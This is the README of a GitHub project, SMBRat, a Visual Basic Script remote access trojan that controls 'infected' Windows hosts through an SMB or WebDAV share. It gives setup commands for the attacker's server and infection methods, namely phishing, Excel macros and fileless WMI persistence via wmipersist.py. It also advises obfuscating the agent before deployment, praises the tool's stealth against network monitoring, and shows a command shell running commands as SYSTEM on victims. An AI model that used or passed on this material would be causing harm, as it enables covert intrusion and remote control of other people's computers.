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https://github.com/operatorequals/SMBRat

A Windows Remote Administration Tool in Visual Basic with UNC paths
https://github.com/operatorequals/SMBRat

persistence remote-admin-tool shell smb vbs visual-basic windows wmi

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A Windows Remote Administration Tool in Visual Basic with UNC paths

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README 

        
# SMBRat

A Windows Remote Administration Tool in *Visual Basic Script*



## Idea

*Windows Environments* like *Active Directory* Networks, get really bloated with *SMB* traffic.



All hosts get *Policies* from the *SYSVOL*, configurations need remote files to work, desktop shortcuts tend to point to ``\\something\else\in\the\network.exe``.



None would notice one more connection attempt. *Right?*



 \- Especially if it succeeds (it is a fashion to only monitor *Firewall* ***Denies***)



## Ingredients



### Agent



#### Documentation/Archiving Friendly

The `agent` is a *Visual Basic Script* that runs on the infected host and connects to the *SMB Server*. It creates a directory in there named after the host's `hostname` and primary `MAC` address (trying to be *unique* and *informative* at the same time for reporting purposes). All commands and info for the infected Host will be stored in this directory. `zip`ping the whole Shared Folder will archive all project info!



#### Stealthy

It does **NOT** use a drive letter to *Mount* the Share, just uses `UNC paths` to directly read remote files (no *Drive* is created in `explorer.exe`).



It also injects the `UNC path` into the `%PATH%` variable of its own execution environment (you can run executables directly from your Linux machine's filesystem).



#### Agent's Execution



The `agent` is configured to **run once**. **Statelessly**.



It's Routine is (more-or-less) as follows:

* It looks for a file named `exec.dat` in the folder it created in the *SMB Share*

* If it finds the file, it **reads its content** and executes it as a command with `cmd.exe /c ` like a *semi-interactive shell*.

* The command's response is stored in `output.dat` (next to `exec.dat`). 

* Deletes the `exec.dat` file.



##### [Wiki Page for Setting the *Agent*](https://github.com/operatorequals/SMBRat/wiki/Agent)



### Handler



The `handler` needs an *SMB Server* to work. The `smbserver.py` module from [*Core Security's* `impacket`](https://github.com/coresecurity/impacket) package will do.



Most probably `smbd` would also do the trick, but hasn't been tested yet.



#### Setting up the *SMB Server*



A share with name `D$` is needed, to look like a legit Windows host's SMB.



```bash

# mkdir Share

# smbserver.py -comment "My Share" "D$" Share/

Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies



[*] Config file parsed

[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0

[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

[*] Config file parsed

[*] Config file parsed

[*] Config file parsed



```

#### The *WebDAV* case!

As the `agent` is configured to only use UNC paths, WebDAV can also be used with **zero-changes**.

Instead of an SMB server, a *WebDAV server* can be used (a great WebDAV server with SSL support is [wsgidav](https://github.com/mar10/wsgidav/)).



```bash

# mkdir 'D$'

# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous

[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling

[...] INFO    :  Lock manager:      LockManager(LockStorageDict)

[...] INFO    :  Property manager:  None

[...] INFO    :  Domain controller: SimpleDomainController()

[...] INFO    :  Registered DAV providers by route:

[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)

[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)

[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.

[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.

[...] WARNING :  Share '/' will allow anonymous write access.

[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16

[...] INFO    :  Serving on http://0.0.0.0:80 ...



[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

```

For the SSL support, the UNC paths have to change slightly, from:

```

\\\DIR\

```

to:

```

\\@SSL@443\DIR\

```

This change can only be done to `ServerName` `agent.vbs` variable, as all paths are constructed by this.

Keep in mind that the SSL certificates have to be **trusted by the system running the `agent`**. Self-signed Certificates **will fail** with warnings.



## Infection Scheme



### Infect a Host from a file

A *While loop* can be added to the `agent.vbs` file's beginning, with a delay statement of multiple seconds (10 secs is ideal), and it will be able to infect windows hosts by *double clicking* / *phishing* / *excel macros* / etc...



A `while True` loop in *VBS* with delay of 1 second looks like this:

```vb

Do While True

	[...]

	WScript.Sleep 1000

Loop

```



### Infect a Host *fileless*

Yet, if a Windows host has *RPC* enabled, it is possible to install the *VBS* file as *fileless malware* through `WMI` and the fabulous `impacket` package examples with a command like:

```bash

$ examples/wmipersist.py ':@' install -vbs agent.vbs -name smbrat -timer 10

```



It is also possible to utilize the `WMI` tool by local access to install the `agent.vbs` as fileless malware.



### Obfuscation?

Visual Basic Scripts can be nicely *obfuscated*, *base64*'d as well as *minified*.



It can be really handy to give it a spin before "deploying" :wink:

* [Online Tool for VBS Obfuscation](https://isvbscriptdead.com/vbs-obfuscator/)

* [Github Repo](https://github.com/DoctorLai/VBScript_Obfuscator)



## [Directory Structure in the *SMB Share*](https://github.com/operatorequals/SMBRat/wiki/Directory-Structure)



#### Never create folders manually in the Shared Folder



## Barebone Usage



~~At time of writing, no `Handler` shell is implemented,~~ so usage can be done by just using a command like `watch` to inspect the `output.dat` file:



```bash

$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

```

and `echo` to write stuff to the `exec.dat` file:

```bash

$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

```



## The `handler.py`



The experimental shell works as follows: 

```bash

$ python handler.py Share/

SMBRat> 

# When a new host gets infected:

[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"



SMBRat> execall whoami /user



[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...

		

SMBRat> 

[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 



USER INFORMATION

----------------



User Name           SID     

=================== ========

nt authority\system S-1-5-18



^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^

SMBRat> 

				

```



## Outstanding Pitfalls



### SMBv1 is **Not Encrypted** :



```bash

# tcpdump -i eth0 -A

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes



[...]



15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)



E...,E@[email protected].../.../....8

.&Mi~.6P..>.......[.SMB........................

.@............ .;........... .net localgroup "administrators"



[...]



15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)



E...E.@......./.../..8..i~..

.'*P....b.......SMB2......................



.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...



[...]



15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)



[email protected]../.../..8..i~. 

.).P....*.....T.SMB........................

.T....$.......'..$.Alias name     administrators

Comment        Administrators have complete and unrestricted access to the computer/domain



Members



-------------------------------------------------------------------------------

Admin

Administrator

defaultuser0

The command completed successfully.



[...]



```



The traffic (file *contents* and *paths*) are tranfered in plaintext if *SMBv1 Server* is used (e.g `impacket` 's `smbserver.py`).



* An encryption/obfuscation layer would totally solve this one!



### The whole Share is *READ/WRITE* to Everyone:



All Agents can modify files stored in the **Whole Share**. Meaning they can modify the `exec.dat` of other Agents...

An `smbmap` will shed light:

```bash

$ smbmap -H 172.16.47.189

[+] Finding open SMB ports....

[+] User SMB session establishd on 172.16.47.189...

[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      

	Disk                                                  	Permissions

	----                                                  	-----------

	D$                                                	READ, WRITE

	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually

	IPC$                                              	READ, WRITE

	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

```

#### Pay attention to the lack of `-u` and `-p` parameters of `smbmap`.

This is a *NULL session* (like FTP anonymous login). **EVERYONE can change the SHARE Files** and get *Remote Code Execution* on all infected machines.



* Better fire up some `iptables` here...



### The sessions are NOT **Interactive**



Type `execall netsh` and you lost all your Agents. None will respond as the `agent.vbs` will spawn the `netsh.exe` shell and will wait for it to terminate, so it can write its contents to `output.dat`. But Guess What... It **won't** terminate... It's gonna hang with the `netsh>` pointing to the void.